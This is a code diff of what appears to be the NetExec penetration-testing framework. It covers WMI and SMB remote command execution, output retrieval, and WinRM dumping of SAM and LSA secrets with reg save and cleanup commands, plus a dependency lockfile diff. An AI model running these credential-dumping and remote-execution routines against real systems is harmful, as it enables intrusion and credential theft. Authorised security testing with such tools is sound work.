get_output_file(self.__connection.conn, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "SMBEXEC", first_read_delay=0)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__connection.conn.deleteFile(self.__share, self.__output)
except Exception:
pass
def finish(self):
# Just in case the service is still created
+38 -4
View File
@@ -4,7 +4,6 @@ from time import sleep
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.protocols.smb.exec_output import get_output_file
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
@@ -44,7 +43,6 @@ class WMIEXEC:
if self.__password is None:
self.__password = ""
*_, tgt, _ = smbconnection.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -57,7 +55,6 @@ class WMIEXEC:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
@@ -144,4 +141,41 @@ class WMIEXEC:
self.__outputBuffer = ""
return
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "WMIEXEC")
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
sleep(1)
tries += 1
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
+4 -12
View File
@@ -350,12 +350,13 @@ class winrm(connection):
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} & del C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
output_filename = self.output_file_template.format(output_folder="sam")
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", output_filename + ".system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user")
@@ -375,22 +376,18 @@ class winrm(connection):
)
SAM.dump()
SAM.export(output_filename)
finally:
try:
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{sam_storename} and C:\\windows\\temp\\{system_storename}: {e}")
def lsa(self, quiet=False):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} & del C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user")
@@ -423,11 +420,6 @@ class winrm(connection):
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
finally:
try:
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{security_storename} and C:\\windows\\temp\\{system_storename}: {e}")
def dpapi(self):
self.dpapi_triage.triage_dpapi()
+29 -51
View File
@@ -23,10 +23,7 @@ from dploot.lib.network.wmi import WMITarget as Target
from impacket import ntlm
from impacket.uuid import uuidtup_to_bin
from impacket.krb5 import constants
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport, epm
@@ -46,7 +43,6 @@ class wmi(connection):
self.nthash = ""
self.server_os = None
self.doKerberos = False
self.tgt = None
self.stringBinding = None
# from: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/18d8fbe8-a967-4f1c-ae50-99ca8e491d2d
self.rpc_error_status = {
@@ -150,7 +146,6 @@ class wmi(connection):
except Exception:
buffer = 0
self.remoteName = self.host
if buffer != 0:
response = MSRPCHeader(buffer)
bindResp = MSRPCBindAck(response.getData())
@@ -160,7 +155,6 @@ class wmi(connection):
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -170,26 +164,23 @@ class wmi(connection):
if self.args.domain:
self.domain = self.args.domain
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
self.logger.extra["protocol"] = "RPC"
self.logger.extra["port"] = "135"
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
def check_if_admin(self):
# With several credentials, drop the admin flag, namespaces and DCOM connections (cached per target by impacket) of the previous one
self.admin_privs = False
self.namespaces = {}
if self.dcom_conn:
self.dcom_conn.disconnect()
self.dcom_conn = None
try:
# Only keep the connection once activated: impacket's disconnect() can't run twice on a target
dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=self.tgt)
iInterface = dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
self.dcom_conn = dcom_conn
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
except Exception as e:
self.logger.debug(f"Received error while checking admin: {e}")
@@ -212,6 +203,7 @@ class wmi(connection):
self.logger.fail(str(e))
return False
else:
self.logger.extra["protocol"] = "WMI"
self.admin_privs = True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
@@ -221,7 +213,6 @@ class wmi(connection):
self.password = password
self.username = username
self.domain = domain
self.tgt = None
self.create_conn_obj()
if password == "":
@@ -243,14 +234,10 @@ class wmi(connection):
try:
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
dce = self.conn.get_dce_rpc()
# Reuse one TGT for every RPC/DCOM bind, impacket would otherwise redo the AS exchange on each bind
if not useCache and kerb_pass:
tgt, cipher, _, session_key = getKerberosTGT(Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value), password, domain, lmhash, nthash, self.aesKey, kdcHost)
self.tgt = {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey, TGT=self.tgt)
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
self.conn.setRemoteHost(self.host)
self.conn.set_kerberos(True, kdcHost)
dce = self.conn.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
@@ -406,10 +393,8 @@ class wmi(connection):
escaped_path = remote_path.replace("\\", "\\\\")
# Load the Namespace
try:
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
except Exception as e:
self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}")
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
if powershellv3_namespace is None:
return None
# Read the file
@@ -737,8 +722,6 @@ class wmi(connection):
@requires_admin
def execute(self, command=None, get_output=False, use_powershell=False):
output = ""
# Execution via -x
if not command and self.args.execute:
command = self.args.execute
@@ -771,17 +754,18 @@ class wmi(connection):
self.args.codec,
self.get_namespace("//./root/subscription")
)
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
try:
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
except Exception as e:
self.logger.fail(f"Execute command failed with {self.args.exec_method}: {e}")
return ""
if self.args.execute and get_output:
self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}')
buf = StringIO(output).readlines()
for line in buf:
if get_output and (self.args.execute_psh if use_powershell else self.args.execute):
self.logger.success(f'Executed {"PowerShell " if use_powershell else ""}command: "{command}" via {self.args.exec_method}')
for line in StringIO(output).readlines():
if line.strip():
self.logger.highlight(line.strip())
return output
else:
return output
return output
def execute_psh(self, command=None, get_output=False):
# Execution via -X
@@ -789,26 +773,20 @@ class wmi(connection):
command = self.args.execute_psh
if not self.args.no_output:
get_output = True
output = self.execute(command, get_output, use_powershell=True)
if self.args.execute_psh and get_output:
self.logger.success(f'Executed PowerShell command: "{command}" via {self.args.exec_method}')
buf = StringIO(output).readlines()
for line in buf:
if line.strip():
self.logger.highlight(line.strip())
return output
else:
return output
return self.execute(command, get_output, use_powershell=True)
def get_namespace(self, namespace: str) -> IWbemServices:
"""Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache"""
if namespace in self.namespaces:
return self.namespaces[namespace]
self.logger.debug(f"Getting namespace {namespace}")
self.namespaces[namespace] = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
except Exception as e:
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
return None
self.namespaces[namespace] = iWbemServices
return self.namespaces[namespace]
@property
+44 -24
View File
@@ -57,10 +57,40 @@ class WMIEXEC:
def execute_remote(self, command):
self.logger.info(f"Executing command: {command}")
process = self.__win32Process.Create(command, self.__pwd, None)
if process.ReturnValue != 0:
raise Exception(f"Win32_Process.Create returned {process.ReturnValue}")
return process.ProcessId
def wait_for_process(self, pid, timeout):
"""Poll Win32_Process until the process and its children have exited or the timeout (in seconds) is reached"""
end = time.monotonic() + timeout
while time.monotonic() < end:
time.sleep(0.1)
try:
self.__iWbemServices.GetObject(f'Win32_Process.Handle="{pid}"')
except Exception as e:
if "WBEM_E_NOT_FOUND" not in str(e):
self.logger.debug(f"Could not query process {pid}: {e}")
continue
# Children (e.g. "start /b") keep the ParentProcessId after the parent exits and may still hold the output file open
if not self.has_children(pid):
return
self.logger.fail(f"WMIEXEC: Process {pid} still running after {timeout}s, output may be incomplete. Please try a higher '--exec-timeout'")
def has_children(self, pid):
try:
self.__win32Process.Create(command, self.__pwd, None)
enum = self.__iWbemServices.ExecQuery(f"SELECT ProcessId FROM Win32_Process WHERE ParentProcessId = {pid}")
except Exception as e:
self.logger.error(str(e))
self.logger.debug(f"Could not query children of process {pid}: {e}")
return False
try:
enum.Next(0xFFFFFFFF, 1)
return True
except Exception:
return False
finally:
enum.RemRelease()
def execute_WithOutput(self, command):
result_output = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt"
@@ -69,17 +99,11 @@ class WMIEXEC:
self.__registry_Path = f"Software\\Classes\\{gen_random_string(8)}"
# 1. Run the command and write output to file
self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1')
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
time.sleep(self.__exec_timeout)
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
self.wait_for_process(self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1'), self.__exec_timeout)
# 2. Base64 encode the file
self.execute_remote(f"{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001")
time.sleep(0.5)
# 3. Store content in registry
self.execute_remote(f'{self.__shell} for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f')
time.sleep(0.1)
# 2. Base64 encode the file and store content in registry
self.wait_for_process(self.execute_remote(f'{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001 & for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f'), self.__exec_timeout)
self.queryRegistry(keyName)
self.clean_up(result_output, result_output_b64)
@@ -112,16 +136,14 @@ class WMIEXEC:
# 1. Run the command and write output to file
if not command.lower().startswith("powershell"):
command = f'powershell -Command "& {{{command}}}"'
self.execute_remote(f'{command} > "{result_output}" 2>&1')
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
time.sleep(self.__exec_timeout)
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
self.wait_for_process(self.execute_remote(f'{command} > "{result_output}" 2>&1'), self.__exec_timeout)
# 2. Base64 encode the file using PowerShell
self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"')
time.sleep(0.5)
self.wait_for_process(self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"'), self.__exec_timeout)
# 3. Use PowerShell to split base64 content into 16KB chunks and store in registry
self.execute_remote(
self.wait_for_process(self.execute_remote(
f'powershell -Command "$b64 = Get-Content -Raw \'{result_output_b64}\'; '
f'$chunksize = 16000; '
f'$count = [math]::Ceiling($b64.Length / $chunksize); '
@@ -130,8 +152,7 @@ class WMIEXEC:
f' $name = \\"{keyName}_chunk_$i\\"; '
f' reg add \\"HKLM\\{self.__registry_Path}\\" /v $name /t REG_SZ /d $chunk /f }}; '
f'reg add \\"HKLM\\{self.__registry_Path}\\" /v \\"{keyName}\\" /t REG_DWORD /d $count /f"'
)
time.sleep(0.1)
), self.__exec_timeout)
self.queryRegistry_psh(keyName)
self.clean_up(result_output, result_output_b64)
@@ -165,13 +186,12 @@ class WMIEXEC:
self.logger.fail("WMIEXEC: Could not retrieve output file! Either command timed out or AV killed the process. Please try increasing the timeout: '--exec-timeout 10'")
def clean_up(self, result_output, result_output_b64):
"""Deletes the output file, the base64 output file, and the registry path where the base64 content was stored."""
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
"""Deletes the registry path where the base64 content was stored, the output file and the base64 output file."""
try:
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
descriptor, _ = self.__iWbemServices.GetObject("StdRegProv")
descriptor = descriptor.SpawnInstance()
descriptor.DeleteKey(0x80000002, self.__registry_Path)
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
except Exception as e:
self.logger.fail(f"Target: {self.__target} removing temporary registry path error: {e!s}")
self.logger.fail(f"WMIEXEC: Cleanup failed, traces may be left on the target ({result_output}, {result_output_b64}, HKLM\\{self.__registry_Path}): {e}")
Generated
+141 -22
View File
@@ -832,23 +832,23 @@ wmi = ["wmi (>=1.5.1)"]
[[package]]
name = "dploot"
version = "4.1.3"
version = "4.1.1"
description = "DPAPI looting remotely in Python"
optional = false
python-versions = "<4.0,>=3.10"
groups = ["main"]
files = [
{file = "dploot-4.1.3-py3-none-any.whl", hash = "sha256:dc07c2337ab7ed52cccdf3bbe29de92044c8f5622f31742de183e0f1e634f5d9"},
{file = "dploot-4.1.3.tar.gz", hash = "sha256:fd2688df7db50600e76d71fa3f4c14ec94ef264b2ea5d4fb1a8e4c55d092a662"},
{file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"},
{file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"},
]
[package.dependencies]
cryptography = ">=40.0.1"
impacket = ">=0.13.0"
lxml = ">=5.0"
pick = ">=2.6.0,<3.0.0"
pyasn1 = ">=0.4.8"
pypsrp = ">=0.9.1,<0.10.0"
questionary = ">=2.1.1,<3.0.0"
[[package]]
name = "dsinternals"
@@ -865,6 +865,23 @@ files = [
pycryptodomex = "*"
pyopenssl = "*"
[[package]]
name = "flake8"
version = "7.3.0"
description = "the modular source code checker: pep8 pyflakes and co"
optional = false
python-versions = ">=3.9"
groups = ["dev"]
files = [
{file = "flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e"},
{file = "flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872"},
]
[package.dependencies]
mccabe = ">=0.7.0,<0.8.0"
pycodestyle = ">=2.14.0,<2.15.0"
pyflakes = ">=3.4.0,<3.5.0"
[[package]]
name = "flask"
version = "3.1.3"
@@ -1059,7 +1076,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
[[package]]
name = "impacket"
version = "0.14.0.dev0+20261028.173308.40b1eb7a"
version = "0.14.0.dev0+20261015.95810.75938fcb"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -1083,7 +1100,7 @@ six = "*"
type = "git"
url = "https://github.com/fortra/impacket"
reference = "HEAD"
resolved_reference = "40b1eb7a0d25e1f378c5824c17a87be3fd44260a"
resolved_reference = "75938fcb0145b476250940d740f71394676288cb"
[[package]]
name = "iniconfig"
@@ -1139,6 +1156,25 @@ MarkupSafe = ">=2.0"
[package.extras]
i18n = ["Babel (>=2.7)"]
[[package]]
name = "jwt"
version = "1.4.0"
description = "JSON Web Token library for Python 3."
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11"},
{file = "jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952"},
]
[package.dependencies]
cryptography = ">=3.1,!=3.4.0"
[package.extras]
dev = ["black", "isort", "mypy", "types-freezegun"]
test = ["freezegun", "pytest (>=6.0,<7.0)", "pytest-cov"]
[[package]]
name = "ldap3"
version = "2.9.1"
@@ -1483,6 +1519,18 @@ cryptography = ">=3.5"
impacket = "*"
pyasn1 = "*"
[[package]]
name = "mccabe"
version = "0.7.0"
description = "McCabe checker, plugin for flake8"
optional = false
python-versions = ">=3.6"
groups = ["dev"]
files = [
{file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
{file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
]
[[package]]
name = "mdurl"
version = "0.1.2"
@@ -1682,6 +1730,24 @@ files = [
{file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"},
]
[[package]]
name = "pick"
version = "2.6.0"
description = "Pick an option in the terminal with a simple GUI"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"},
{file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"},
]
[package.dependencies]
windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""}
[package.extras]
blessed = ["blessed (>=1.17.0)"]
[[package]]
name = "pillow"
version = "12.3.0"
@@ -1857,6 +1923,18 @@ files = [
[package.dependencies]
pyasn1 = ">=0.6.1,<0.7.0"
[[package]]
name = "pycodestyle"
version = "2.14.0"
description = "Python style guide checker"
optional = false
python-versions = ">=3.9"
groups = ["dev"]
files = [
{file = "pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d"},
{file = "pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783"},
]
[[package]]
name = "pycparser"
version = "3.0"
@@ -2115,6 +2193,18 @@ files = [
[package.dependencies]
typing-extensions = ">=4.14.1"
[[package]]
name = "pyflakes"
version = "3.4.0"
description = "passive checker of Python programs"
optional = false
python-versions = ">=3.9"
groups = ["dev"]
files = [
{file = "pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f"},
{file = "pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58"},
]
[[package]]
name = "pygments"
version = "2.20.0"
@@ -2349,6 +2439,21 @@ pluggy = ">=0.12,<2.0"
[package.extras]
testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
[[package]]
name = "python-dateutil"
version = "2.9.0.post0"
description = "Extensions to the standard Python datetime module"
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
groups = ["main"]
files = [
{file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"},
{file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"},
]
[package.dependencies]
six = ">=1.5"
[[package]]
name = "python-libnmap"
version = "0.7.3"
@@ -2375,21 +2480,6 @@ files = [
{file = "pytz-2026.3.post1.tar.gz", hash = "sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d"},
]
[[package]]
name = "questionary"
version = "2.1.1"
description = "Python library to build pretty command line user prompts ⭐️"
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "questionary-2.1.1-py3-none-any.whl", hash = "sha256:a51af13f345f1cdea62347589fbb6df3b290306ab8930713bfae4d475a7d4a59"},
{file = "questionary-2.1.1.tar.gz", hash = "sha256:3d7e980292bb0107abaa79c68dd3eee3c561b83a0f89ae482860b181c8bd412d"},
]
[package.dependencies]
prompt_toolkit = ">=2.0,<4.0"
[[package]]
name = "requests"
version = "2.32.5"
@@ -2823,6 +2913,35 @@ files = [
[package.dependencies]
cryptography = ">=38.0.1"
[[package]]
name = "windows-curses"
version = "2.4.2"
description = "Support for the standard curses module on Windows"
optional = false
python-versions = "*"
groups = ["main"]
markers = "platform_system == \"Windows\""
files = [
{file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"},
{file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"},
{file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"},
{file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"},
{file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"},
{file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"},
{file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"},
{file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"},
{file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"},
{file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"},
{file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"},
{file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"},
{file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"},
{file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"},
{file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"},
{file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"},
